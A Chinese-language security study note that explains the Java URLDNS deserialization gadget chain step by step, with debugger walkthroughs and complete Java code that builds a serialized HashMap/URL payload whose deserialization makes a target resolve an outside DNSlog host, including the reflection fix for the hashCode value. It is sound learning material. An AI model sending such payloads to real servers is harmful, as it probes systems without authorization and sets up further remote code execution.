初探嗅探链-URLDNS链

Oyst3r 于 2024-04-17 发布

前言

入门链、开山链、嗅探链,用来端正对反序列化漏洞的理解,特此记录。这条链的 gadget 只用到了 HashMap 和 URL,可以说是 JDK 原生态的链子,不存在什么版本限制,但是这条链的 sink 只是一次 DNS 请求,实际情况中的作用是用来验证服务器类是否使用了readObject(),能不能去当一个成功的入口类,这条链子若能打通,之后再用各种 gadget 去尝试 RCE,这条链子不通基本没戏。

端正思想 💭

1.目前研究的链子是针对服务端上的,项目它本身就会有这种漏洞,要利用它只是缺少一个输入点。再通俗一点讲就是,只要项目的代码中暴露出一个readObject()可以被用户控制,也就是xxx.readObject()中的xxx,那么至少 URLDNS 链这条链子是肯定能通的。

2.一个成功的入口类,首先要支持序列化(也就是去 implements Serializable),其次一定是要去重写readObject()方法,若没有实现Serializable该接口那么反序列化会报错、原生调用的readObject()一定是安全的,只有重写了才有可能被利用。

3.当客户端通过网络将一个对象传递给服务端时,服务端必须能够找到并加载该对象的类,否则反序列化会失败,因为反序列化的过程中,Java 会试图恢复对象并使用其类的定义。可以先去再看一下 Java 中的类加载机制。哦对,正好用这点提及一下,漏洞本质是出现在服务端,若服务端是一层白纸,再巧妙的 Payload 也无济于事。

循序渐进的论 URLDNS 链

1.先看 sink–>URL 类的hashCode()函数,写一个最简单的 demo 如下

public class Serialize {
    public static void main(String[] args) throws Exception {
        try {
            URL url = new URL("http://test.cxsys.spacestabs.top");
            url.hashCode();
        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}

跟一下这个 hashCode 方法,默认的 hashCode 是等于-1 的,所以走到下面hashCode = handler.hashCode(this);

alt text

此时的 handler 是 URLStreamHandler 这个抽象类,所以会跳到这个类的 hashCode 方法,该方法中 372 行有一个getHostAddress()方法,方法大概意思就是尝试通过给定的 URL 获取主机的 IP 地址,说白了就是进行一次 DNS 查询。

alt text

执行完之后,看一下 DNSlog 平台也确实收到了回显

alt text

也可以跟一跟这个方法,上面完了应该到这里resolver.lookupByName(host, PLATFORM_LOOKUP_POLICY);

alt text

跟跟跟,最后到这里 F8 之后,DNSlog 平台就收到回显了,调试过程中会出现运行完 Payload,但 DNSlog 有时可以收到请求,有时收不到请求,这和本机的 DNS 缓存以及 TTL 值有关,和代码本身无关。

alt text

之后就一路 return,回到这里刚刚resolver.lookupByName(host, PLATFORM_LOOKUP_POLICY);,此时就得到了域名解析后的 ip 地址,也就是 127.0.0.1

alt text

上面这些就是阐述了一下为什么这个算 Hash 的 sink 可以发起一次 DNS 查询,当然肯定就有疑问了,URL 这个类本身就是做网络请求相关的类,要想在其中找到一个可以对 URL 发起请求的方法那可太容易了,为什么偏偏要找这个hashCode()方法呢?只能说很多时候,有但不能用,没法去让服务端程序去主动执行这些方法啊……

然后就可以引出序列化&反序列化了,一旦序列化,那就必然会被反序列化,反序列化必然会用到readObject()方法,若重写的这个readObject()方法有危险的方法,那么就可以造成一次攻击。现在带入挖掘漏洞的视角去看一下,怎么才能让这个hashCode()方法或者说是其他危险方法被执行呢?我肯定先会去看 URL 这个类,如下图,它确实去实现了java.io.Serializable,且重写了readObject()方法,要是里面有危险方法就好了,这显然是不现实的,开发人员也没有这么弱智。

alt text

2.换一种思路,既然这个 URL 类的readObject()方法没有危险函数,但如果能找见一个类,它的readObject()方法有危险方法(这里的危险方法就姑且先是 URL 类的hashCode()方法),且参数能为一个对象,那就可以把 URL 类的对象传进去,调用这个中间类的hashCode()方法,也就相当于调用了 URL 类的hashCode()方法,这样就完成了攻击。直白点说就是下面这个意思

场景-->
类 A:入口类,接收一个参数 param
类 B:包含我们真正想利用的方法 exp
需求:通过 A 的 readObject 方法来调用 B 的方法 exp

做法-->
1. 类 A 接收一个参数 param,并在 readObject 方法中调用 param.exp
2. B 中有我们想调用的实际方法 exp
3. 将类B当作参数传入到A中,也就实现了B.exp

然后很幸运 HashMap 类实现了java.io.Serializable,且重写了readObject()方法,且参数能为一个对象,且其中有参数.hashCode()的方式,详情如下图片–>

alt text

跟进去上图的 hash 方法

alt text

给 key 算了一次 hashCode,且这个 key 是一个类型为 Object 的参数,如果此时这个 key 是一个 URL 类,那么这个方法执行后就会去调用 URL 类的hashCode()方法,就可以成功的发起一次 DNS 请求。很简单,就一次同名函数的替换,下面给出 URLDNS 链完整的 gadget–>

1. HashMap->readObject()
2. HashMap->hash()
3. URL->hashCode()
4. URLStreamHandler->hashCode()
5. URLStreamHandler->getHostAddress()
6. InetAddress->lookupByName()

下面是这次漏洞利用的代码–>

Serialize 类如下

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;

public class Serialize {
    public static void main(String[] args) throws Exception {
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
        URL url = new URL("http://test.cxsys.spacestabs.top");
        hashmap.put(url,1);

        outputStream.writeObject(hashmap);
        outputStream.close();
    }
}

Unserialize 类如下

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class Unserialize {
    public static void main(String[] args) throws Exception {
        FileInputStream fileInputStream = new FileInputStream("ser.bin");
        ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
        Object o = inputStream.readObject();
        inputStream.close();
    }
}

3.上面两点就是核心了,这一点来记录点无关紧要的,调的时候好奇了一下下面这个地方–>

alt text

为什么已经通过反射调用了一次 HashMap 的readObject()方法,而这个方法里面又调用了两次readObject()方法,这个其实就是对参数进行的 readObject,也就是先得反序列化拿到参数,就拿上面的代码中的K key = (K) s.readObject();来看(下面那个和这个同理),这个 key 值是一个 URL 类,一开始在看 sink 的时候就提到 URL 类也是重写了 readObject 的,那么这个readObject()方法执行完之后必然会到 URL 类的 readObject 方法,而不是原生的 readObject,跟一下看看,果然到了 URL 类里面,如下图–>

alt text

下面是此时的调用栈,由于两次的 readObject 都是 private,所以都是通过反射去调用的,有一种一层套一层的感觉。

alt text

基本上记录的很清晰了,但还是有点小问题需要去解决

问题以及优化

大体思路上对了,再跟代码的时候发现问题如下–>

将断点下在下图处,运行 Unserialize 类

alt text

接着到这里 hashCode 方法这里

alt text

下面按照预期是到 URL 类对象的 hashCode 方法里面

alt text

确实是到 URL 这里了,但是可以发现由于 hashCode 已经有值了,那么就会直接return hashCode;,那么这里其实根本就没有去执行后续的 sink,但是 DNSLog 平台上依然收到了值,后续再调试调试就会发现并不是运行 Unserialize 类触发了 sink,而是运行 Serialize 类的时候里面的put()函数就已经触发了 sink(这里就不跟了),且触发完 sink 还将 hashCode 赋值了,如下–>

alt text

即序列化时就 hashCode 的值就为 2133919961,所以反序列化的时候根本触发不了 sink!把 Serialize 类的代码单拉出来,做一些修改

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;

public class Serialize {
    public static void main(String[] args) throws Exception {
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
        URL url = new URL("http://test.cxsys.spacestabs.top");
        hashmap.put(url,1);

        outputStream.writeObject(hashmap);
        outputStream.close();
    }
}

需求是在hashmap.put(url,1);这行代码执行完后,把 hashCode 的值改回初始值,也就是-1,这里反射去改就好了。改完的代码如下–>

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;

public class Serialize {
    public static void main(String[] args) throws Exception {
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
        URL url = new URL("http://test.cxsys.spacestabs.top");
        hashmap.put(url,1);
        Class<?> clazz = url.getClass();
        Field field = clazz.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url,-1);
        outputStream.writeObject(hashmap);
        outputStream.close();
    }
}

这个样子其实就可以了,只运行 Unserialize 类之后查看 DNSLog 平台可以查收到记录,之前那样是收不到的

alt text

再进一步优化一下就是在hashmap.put(url,1);之前先把 hashCode 的值改成不为 1,在hashmap.put(url,1);再改为-1,这样就更加准确了,代码如下–>

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;

public class Serialize {
    public static void main(String[] args) throws Exception {
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
        URL url = new URL("http://test.cxsys.spacestabs.top");
        Class<?> clazz = url.getClass();
        Field field = clazz.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url,1);
        hashmap.put(url,1);
        field.set(url,-1);
        outputStream.writeObject(hashmap);
        outputStream.close();
    }
}

截图如下

运行 Serialize 类时候 hashCode 的值

alt text

运行 Unserialize 类时候 hashCode 的值

alt text

From Zero To One Close!